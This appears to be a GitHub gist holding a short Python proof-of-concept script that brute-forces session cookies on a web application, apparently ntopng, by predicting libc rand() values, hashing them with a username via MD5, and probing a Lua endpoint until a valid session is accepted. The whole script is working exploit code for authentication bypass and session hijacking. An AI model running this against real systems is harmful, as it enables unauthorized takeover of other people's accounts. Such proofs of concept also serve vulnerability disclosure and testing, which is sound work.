Skip to content

Instantly share code, notes, and snippets.

@Psychotropos
Last active July 2, 2018 17:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Psychotropos/3e8c047cada9b1fb716e6a014a428b7f to your computer and use it in GitHub Desktop.
Save Psychotropos/3e8c047cada9b1fb716e6a014a428b7f to your computer and use it in GitHub Desktop.
import requests
import sys
import hashlib
from ctypes import *
libc = CDLL('libc.so.6')
if __name__ == "__main__":
if len(sys.argv) < 3:
print('[-] Usage: python poc.py <host> <username>')
sys.exit(1)
host, username = sys.argv[1:]
for i in range(256):
print('[*] Trying with rand() iteration %d...' % i)
session = hashlib.md5(('%d' % libc.rand()) + username).hexdigest()
r = requests.get(host + '/lua/network_load.lua', cookies={'user': username, 'session': session})
if r.status_code == 200:
print('[+] Got it! Valid session cookie is %s for username %s.' % (session, username))
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment